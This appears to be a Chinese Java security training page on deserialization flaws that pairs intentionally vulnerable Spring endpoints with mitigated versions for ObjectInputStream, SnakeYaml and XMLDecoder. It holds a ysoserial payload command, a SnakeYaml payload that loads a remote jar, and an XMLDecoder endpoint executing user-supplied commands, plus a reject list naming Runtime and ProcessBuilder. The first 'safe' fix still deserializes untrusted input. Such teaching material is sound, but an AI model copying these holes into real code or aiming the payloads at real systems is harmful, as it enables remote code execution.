JavaSec-专题-反序列化
简介
序列化:将Java对象转换为字节序列的过程,便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化 反序列化:指把字节序列恢复为Java对象的过程,ObjectInputStream类的readObject()方法用于反序列化 反序列化漏洞:攻击者可以通过受影响的接口直接或间接地传入恶意的反序列化对象,从而造成任意代码执行 Java中可分为:原生反序列化类(ObjectInputStream.readObject()、SnakeYaml、XMLDecoder)、三方组件反序列化(Fastjson、Jackson、Xstream……)
1.漏洞场景:ObjectInputStream.readObject()
ysoserial项目地址:https://github.com/frohoff/ysoserial
payload生成:java -jar ysoserial-all.jar CommonsCollections5 "open -a Calculator" | base64
public R vul(String payload) {try {payload = payload.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(payload);ByteArrayInputStream stream = new ByteArrayInputStream(bytes);java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);in.readObject();in.close();return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");} catch (Exception e) {return R.error("[-]请输入正确的Payload!\n"+e.getMessage());}
}
2.安全场景:关闭不安全的反序列化
代码审计SINK点:1、JDK(ObjectInputStream.readObject)2、XMLDecoder.readObject3、Yaml.load4、XStream.fromXML5、ObjectMapper.readValue6、JSON.parseObject
安全代码
public R safe1(String payload) {// 安全措施:禁用不安全的反序列化System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false");try {payload = payload.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(payload);ByteArrayInputStream stream = new ByteArrayInputStream(bytes);java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);in.readObject();in.close();return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");} catch (Exception e) {return R.error("[-]请输入正确的Payload!\n"+e.getMessage());}
}
3.安全场景:反序列化黑白名单
ValidatingObjectInputStream:这是Apache Commons IO 提供的一个类,它允许在反序列化时指定可以接受的类或拒绝的类。通过accept/reject(Class) 方法,可以指定只允许/拒绝某些类进行反序列化。
安全代码
public R safe2(String payload) {try {payload = payload.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(payload);ByteArrayInputStream stream = new ByteArrayInputStream(bytes);// 创建 ValidatingObjectInputStream 对象ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);// 设置拒绝反序列化的类ois.reject(java.lang.Runtime.class);ois.reject(java.lang.ProcessBuilder.class);// 只允许反序列化Sqli类ois.accept(Sqli.class);ois.readObject();return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");} catch (Exception e) {return R.error("[-]请输入正确的Payload!\n"+e.getMessage());}
}
反序列化 - SnakeYaml
简介
SnakeYAML是一个用于解析和生成YAML格式数据的流行Java库,支持YAML1.1和1.2规范,能够实现YAML与Java对象之间的序列化和反序列化 漏洞原理:yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManager payload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行
4.漏洞场景:SnakeYaml
反序列化流程:1、导入依赖:使用Maven/Gradle项目时,首先添加SnakeYAML的依赖2、创建Yaml实例:使用Yaml类的实例来处理反序列化。可以通过无参构造函数创建,也可以通过传递一个Constructor来定制化反序列化的方式(如使用SafeConstructor提高安全性)3、调用load()方法:使用Yaml实例的load()方法,将YAML字符串或输入流转换为相应的Java对象4、处理反序列化后的对象:根据实际业务需求对反序列化后的对象进行处理
缺陷代码
public R vul(String payload) {Yaml y = new Yaml();y.load(payload);return R.ok("[+]Java反序列化:SnakeYaml");
}// payload示例
payload=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:7777/yaml-payload.jar']]]]
5.安全场景:SafeConstructor安全构造
SafeConstructor是SnakeYAM 提供的一个安全构造器,用于防止反序列化漏洞,确保只反序列化基本类型和安全的对象
public R safe(String payload) {try {Yaml y = new Yaml(new SafeConstructor());y.load(payload);return R.ok("[+]Java反序列化:SnakeYaml安全构造");} catch (Exception e) {return R.error("[-]Java反序列化:SnakeYaml反序列化失败");}
}
反序列化 - XMLDecoder
XMLDecoder是Java标准库中提供的一个类,用于将XML格式的数据反序列化为Java对象。它是JavaBeans机制的一部分,能够将符合JavaBeans规范的XML文件解析为Java对象
6.漏洞场景:xmlDecoder.readObject()
用户输入被构建为包含ProcessBuilder对象的XML结构,并传入命令数组。生成的XML被XMLDecoder解析,反序列化后通过ProcessBuilder执行命令
public R vul(String payload) {String[] strCmd = payload.split(" ");StringBuilder xml = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>").append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">").append("<object class=\"java.lang.ProcessBuilder\">").append("<array class=\"java.lang.String\" length=\"").append(strCmd.length).append("\">");for (int i = 0; i < strCmd.length; i++) {xml.append("<void index=\"").append(i).append("\"><string>").append(strCmd[i]).append("</string></void>");}xml.append("</array><void method=\"start\" /></object></java>");try {new java.beans.XMLDecoder(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8))).readObject().toString();return R.ok("命令执行成功");} catch (Exception e) {return R.error("命令执行失败: " + e.getMessage());}
}
7.安全代码:使用SAX替换XMLDecoder
SAX:事件驱动的特性和内存管理方式,更加安全,适合处理不受信任的数据
XMLDecoder:由于反序列化过程的性质,存在较高的安全风险,建议仅在处理可信数据时使用
public R safe(@RequestParam String payload) {try {// 构建 XML 字符串...// 使用 SAX 解析器解析 XMLSAXParserFactory factory = SAXParserFactory.newInstance();SAXParser saxParser = factory.newSAXParser();CommandHandler handler = new CommandHandler();// 将 ByteArrayInputStream 包装成 InputSourceInputSource inputSource = new InputSource(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8)));saxParser.parse(inputSource, handler);// 获取解析后的命令参数List<String> args = handler.getArgs();// 处理解析后的命令参数System.out.println("Parsed command: " + String.join(" ", args));return R.ok("[+]命令解析成功:"+String.join(" ", args));} catch (Exception e) {return R.error("[-]命令解析失败: " + e.getMessage());}
}